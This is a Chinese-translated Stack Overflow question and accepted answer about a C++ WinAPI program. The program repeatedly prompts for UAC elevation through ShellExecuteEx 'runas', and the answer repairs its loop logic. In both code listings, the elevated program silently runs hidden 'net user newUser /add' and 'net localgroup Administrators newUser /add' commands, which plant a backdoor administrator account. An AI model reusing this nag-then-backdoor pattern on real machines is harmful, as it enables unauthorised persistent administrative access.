c++ - 具有管理员权限的 shellexecute 不会结束

标签 c++ winapi visual-c++

我试图每 2 秒请求一次管理员权限,但我在同步两个进程时遇到了问题。 ShellExecuteExA 创建的进程不会结束,除非你手动杀死它。主进程(主函数)以 ExitProcess 结束,现在运行的是 shellexecute 进程,它返回到 main 并卡在 ask 函数中,当它不应该进入该函数时再次请求提升权限。我正在使用 vs2019。

#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <string>
#include <sstream>

using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool CheckIfAdmin()
{
    BOOL RunAdmin = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation,
                                &Elevation, sizeof(Elevation), &cbSize))
        {
            RunAdmin = Elevation.TokenIsElevated;
        }
    }
    // Cleanup
    if (hToken)
    {
        CloseHandle(hToken);
    }
    return RunAdmin;
}

bool Elevate()
{
    char PathProg[MAX_PATH];
    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    {
        SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        if (!ShellExecuteExA(&SEIA))
        {
            DWORD dwErr = GetLastError();
            if (dwErr == ERROR_CANCELLED)
            {
                // reject UAC
                return false;
            }
            return false;
        }
        // accept UAC
        return true;
    }
    return false;
}
void execute_cmd(const char *m, INT opt)
{
    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
}

bool run_uac()
{
    if (!CheckIfAdmin())
    {
        if (Elevate())
        {
            return true;
        }
    }
    return false;
}

void ask()
{
    while (true)
    {
        switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
        {
        case IDOK:
            if (run_uac())
            {
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            }
        }
        Sleep(2000);
    }
}

int main()
{

    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
    ask();

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);


    return 0;
}

最佳答案

调用 ask() 如果你正在运行 elevated 会让你陷入无限的 MessageBox+Sleep 循环,因为 run_uac() 返回 false当 CheckIfAdmin() 返回 true 时。因此,将提升检查移至 main() 本身,如果已经运行提升则跳过提升提示。

#include <Windows.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool IsElevated()
{
    bool bElevated = false;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);

        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize))
        {
            bElevated = Elevation.TokenIsElevated;
        }

        // Cleanup
        CloseHandle(hToken);
    }

    return bElevated;
}

bool Elevate()
{
    char PathProg[MAX_PATH];

    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    {
        SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        return ShellExecuteExA(&SEIA);
    }

    return false;
}

void execute_cmd(const char *m, int opt)
{
    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
}

void AskToElevate()
{
    while (true)
    {
        if (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONQUESTION | MB_TOPMOST) == IDOK)
        {
            if (Elevate())
            {
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            }
        }
        Sleep(2000);
    }
}

int main()
{
    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);

    if (!IsElevated())
    {
        AskToElevate();
    }

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);

    return 0;
}

关于c++ - 具有管理员权限的 shellexecute 不会结束,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59022632/

相关文章:

c++ - 失去弹跳球的位置

c++ - 如何使用CreateDIBSection在BITMAPINFO中写入颜色数据?

c++ - 在 directx 9 c++ 中应用纹理时出现巨大问题

c++ - 将 Windows Dll 转换为 C++ Visual Studio 2008 的 .lib

C++11 emplace_back on vector<struct>?

c++ - CWinThread 被 AfxBeginThread 创建后谁拥有它?

c++ - 如何将 ".bc"库中的符号(即 : . 来自 emar archiver builder 的后缀)导出到 javascript?

java - Java 可以用来编写 Win32 系统服务吗?

c++ - 是大括号可构造的类型特征

c++ - C++ 中类型错误的参数